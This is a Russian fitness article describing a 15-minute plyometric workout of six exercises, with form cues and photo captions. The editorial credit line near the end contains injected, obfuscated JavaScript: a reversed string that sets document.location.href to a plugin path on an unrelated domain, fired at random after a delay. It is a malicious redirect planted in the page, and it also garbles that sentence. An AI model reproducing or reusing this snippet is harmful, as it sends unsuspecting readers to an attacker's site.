Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений

Прыжковые упражнения эффективно сжигают жир. Если вы хотите похудеть, попробуйте интенсивную тренировку от менеджера групповых программ в «Encore Fitness Ходынка» Дарьи Прохоровой.

 

Дарья Прохорова

Менеджер групповых программ в «Encore Fitness Ходынка»

— Взрывная и силовая работа развивает выносливость и помогает быстро похудеть. Эта плиометрическая (прыжковая. — Прим. ред.) тренировка хороша тем, что её можно выполнять на улице. Дополнительное оборудование вам не понадобится, бокс легко заменит скамейка, а забегания можно делать на лестнице. 

Выполняйте каждое из этих упражнений в течение 30 секунд, затем отдыхайте и переходите к следующему упражнению в течение 15 секунд. Сделайте 3 круга. 

1. Запрыгивания на бокс

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 1

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 2

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 3

Фото: Олёна Дроздова

  1. Исходное положения — стоя на полу напротив бокса, ноги на ширине таза. 
  2. Выполните запрыгивание на бокс, приземляясь в полуприсед. Бёдра параллельны полу, вес тела распределяется между правой и левой стопами равномерно. Пятки не свисают с бокса. 
  3. Сделайте шаг и спуститесь с бокса.

2. Запрыгивания на бокс на одной ноге

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 4

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 5

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 6

Фото: Олёна Дроздова

  1. Исходное положение — стоя на одной ноге на полу напротив бокса. 
  2. Выполните запрыгивание на бокс. При прыжке подтягивайте ногу к себе. Приземляйтесь чётко на стопу.
  3. Сделайте шаг и спуститесь с бокса.

3. Взрывные отжимания от бокса

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 7

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 8

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 9

Фото: Олёна Дроздова

  1. Исходное положение — упор руками в бокс. Руки шире плеч.
  2. Выполните отжимания до угла 90 градусов в локте.
  3. Оттолкнитесь широкой частью ладони и в прыжке переместите руки в узкую позицию — на трицепс.
  4. Выполните отжимание в узкой позиции также до угла 90 градусов. Руки двигаются вдоль корпуса. 
  5. Оттолкнитесь широкой частью ладони и в прыжке переместите руки в широкую позицию.

4. Зашагивания на бокс

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 10

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 11

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 12

Фото: Олёна Дроздова

  1. Исходное положения — стоя на полу напротив бокса, ноги на ширине таза. 
  2. Шагните правой ногой на бокс. Следите, чтобы угол в колене был 90 градусов, а пятка не свисала. 
  3. Спуститесь с бокса шагом. 
  4. Повторите на левую ногу.

Если делаете упражнение на лестнице или многоярусном боксе, продолжайте зашагивания наверх, чередуя ноги.

5. Забегания в подъём с высоким подниманием бедра

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 13

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 14

Фото: Олёна Дроздова

  1. Исходное положение — стоя перед подъёмом длиной 5–10 метров или лестницей.
  2. Забегите в подъём, стараясь поднимать бёдра как можно выше. Контролируйте работу рук.
  3. Спуститесь с подъёма шагом.

6. Конькобежец

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 15

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 16

Фото: Олёна Дроздова

Как сжечь максимум калорий за 15 минут: 6 плиометрических упражнений. Изображение номер 17

Фото: Олёна Дроздова

  1. Исходное положение — стоя на одной ноге, колено немного согнуто.
  2. Выполняйте перепрыжку из стороны в сторону, сзади стоящая нога — на весу. Приземляйтесь на всю стопу. Активно работайте руками.

Редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru благодарит фитнес-клуб «Encore Ходынка» за помощь в организации и проведении съёмки.

Статьи по теме

Прыжковая тренировка для сильных ног

Упражнение дня: прыжки на скакалке

Как сжечь жир за 10 минут: тренировка, которая заставит вас попотеть

6 упражнений, которые заставят ваш пресс гореть и сделают его красивее

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector